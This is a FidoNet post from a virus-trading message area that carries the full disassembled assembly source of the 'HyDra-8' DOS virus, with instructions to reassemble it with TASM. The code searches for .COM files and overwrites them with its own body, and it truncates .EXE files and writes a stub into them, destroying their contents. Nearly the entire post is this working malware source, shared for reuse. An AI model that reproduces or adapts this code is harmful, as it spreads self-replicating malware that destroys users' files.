;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä ; Msg : 34 of 54 ; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14 ; To : - *.* - Fri 11 Nov 94 08:10 ; Subj : HYDRA_8.ASM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;.RealName: Max Ivanov ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* Kicked-up by MeteO (2:5030/136) ;* Area : VIRUS (Int: ˆ­ä®p¬ æ¨ï ® ¢¨pãá å) ;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:59) ;* To : Brad Frazee ;* Subj : HYDRA_8.ASM ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;@RFC-Path: ;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 ;18.n283!not-for-mail ;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ HYDRA8 ÛÛ ;ÛÛ ÛÛ ;ÛÛ ÛÛ ;ÛÛ Disassembly by: -=>Wasp<=- aka >>Night Crawler<< ÛÛ ;ÛÛ ÛÛ ;ÛÛ Reassemble with TASM 2.0 ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ DATA_1E EQU 80H DATA_16E EQU 1EFH DATA_17E EQU 1F2H DATA_18E EQU 9D9AH SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h HYDRA8 PROC FAR START: JMP LOC_2 ; (01E2) DB 59H, 44H, 00H, 00H DATA_4 DB 'HyDra-8 Beta - Not For Release' DB '. *.CO?' DB 0 DATA_7 DW 0, 84FCH DATA_9 DW 0 DATA_10 DB 0 DB 29 DUP (0) DATA_11 DB 0 DB 0, 0, 0, 0, 0, 0 DATA_12 DB 0 DB 0, 0, 0, 0, 0, 0 COPYRIGHT DB 'Copyright (c)' DB ' 1991 by C.A.V.E. ' DATA_13 DB 2AH DB 2EH, 45H, 58H, 45H, 00H DATA_14 DB 33H DB 0C9H, 1EH, 52H,0E8H, 06H, 00H DB 0E8H, 13H, 00H,0EBH, 36H, 90H DB 0BEH, 48H, 01H,0BFH, 5AH, 01H DB 0B9H, 12H, 00H LOCLOOP_1: XOR BYTE PTR [SI],0F5H MOVSB ; Mov [si] to es:[di] LOOP LOCLOOP_1 ; Loop if cx > 0 RETN MOV AX,0F00H INT 10H ; Video display ah=functn 0Fh ; get state, al=mode, bh=page MOV AH,0 INT 10H ; Video display ah=functn 00h ; set display mode in al MOV AX,200H MOV DH,0CH MOV DL,1FH INT 10H ; Video display ah=functn 02h ; set cursor location in dx XOR DX,DX ; Zero register MOV DX,OFFSET DATA_12 MOV AH,9 INT 21H ; DOS Services ah=function 09h ; display char string at ds:dx MOV AX,200H MOV DH,18H MOV DL,0 INT 10H ; Video display ah=functn 02h ; set cursor location in dx RETN MOV AX,4C00H INT 21H ; DOS Services ah=function 4Ch ; terminate with al=return code ADD [BP+SI-6563H],AH CMC ; Complement carry PUSHF ; Push flags XCHG DH,CH MOV DI,DATA_18E DB 9BH,0F5H,0B2H, 94H, 99H, 81H DB 0CAH,0D1H LOC_2: PUSH AX MOV AX,CS ADD AX,1000H XOR DI,DI ; Zero register MOV CX,1EFH MOV SI,OFFSET DS:[100H] MOV ES,AX REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] MOV AH,1AH MOV DX,OFFSET DATA_10 INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AH,4EH ; 'N' MOV DX,OFFSET DATA_4+22H INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set LOC_3: MOV AH,3DH ; '=' MOV AL,2 MOV DX,OFFSET DATA_11 INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx MOV BX,AX PUSH ES POP DS MOV AX,3F00H MOV CX,0FFFFH MOV DX,DATA_16E INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx ADD AX,1EFH MOV CS:DATA_9,AX CMP WORD PTR DS:DATA_17E,4459H JNE LOC_4 ; Jump if not equal MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle PUSH CS POP DS MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_7 ; Jump if carry Set JMP SHORT LOC_3 ; (0204) LOC_4: XOR CX,CX ; Zero register MOV DX,CX MOV AX,4200H INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_5 ; Jump if carry Set MOV AH,40H ; '@' XOR DX,DX ; Zero register MOV CX,CS:DATA_9 INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_5: MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle PUSH CS POP DS LOC_6: MOV AH,1AH MOV DX,DATA_1E INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx JMP SHORT LOC_10 ; (02B0) DB 90H LOC_7: CLC ; Clear carry flag XOR CX,CX ; Zero register PUSH DS PUSH DX MOV AH,1AH MOV DX,OFFSET DATA_10 INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV DX,OFFSET DATA_13 MOV AH,4EH ; 'N' XOR CX,CX ; Zero register INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set LOC_8: MOV AH,3CH ; '<' XOR CX,CX ; Zero register MOV DX,OFFSET DATA_11 INT 21H ; DOS Services ah=function 3Ch ; create/truncate file @ ds:dx MOV BX,AX JC LOC_6 ; Jump if carry Set MOV AX,3D02H MOV DX,OFFSET DATA_11 INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx MOV BX,AX CLC ; Clear carry flag XOR DX,DX ; Zero register MOV AH,40H ; '@' MOV DX,OFFSET DATA_14 MOV CX,5AH INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx CMP AX,5AH JB LOC_9 ; Jump if below MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle JC LOC_9 ; Jump if carry Set MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JNC LOC_8 ; Jump if carry=0 LOC_9: MOV AX,4C00H INT 21H ; DOS Services ah=function 4Ch ; terminate with al=return code LOC_10: XOR DI,DI ; Zero register MOV SI,OFFSET DATA_15 MOV CX,22H REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] POP BX MOV CS:DATA_7,0 MOV WORD PTR CS:DATA_7+2,ES POP BX JMP DWORD PTR CS:DATA_7 DATA_15 DB 1EH DB 07H,0B9H,0FFH,0FFH,0BEH,0EFH DB 02H,0BFH, 00H, 01H, 2BH,0CEH DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H DB 01H, 00H, 01H, 2EH, 8CH, 1EH DB 02H, 01H, 8BH,0C3H, 2EH,0FFH DB 2EH, 00H, 01H,0CDH DB 20H HYDRA8 ENDP SEG_A ENDS END START ;-+- FidoPCB v1.4 [NR] ; + Origin: FidoNet * Mathieu Not‚ris * Brussels-Belgium-Europe (2:283/718) ;============================================================================= ; ;Yoo-hooo-oo, -! ; ; ; þ The MeÂeO ; ;/L Specify library search paths ; ;--- Aidstest Null: /Kill ; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)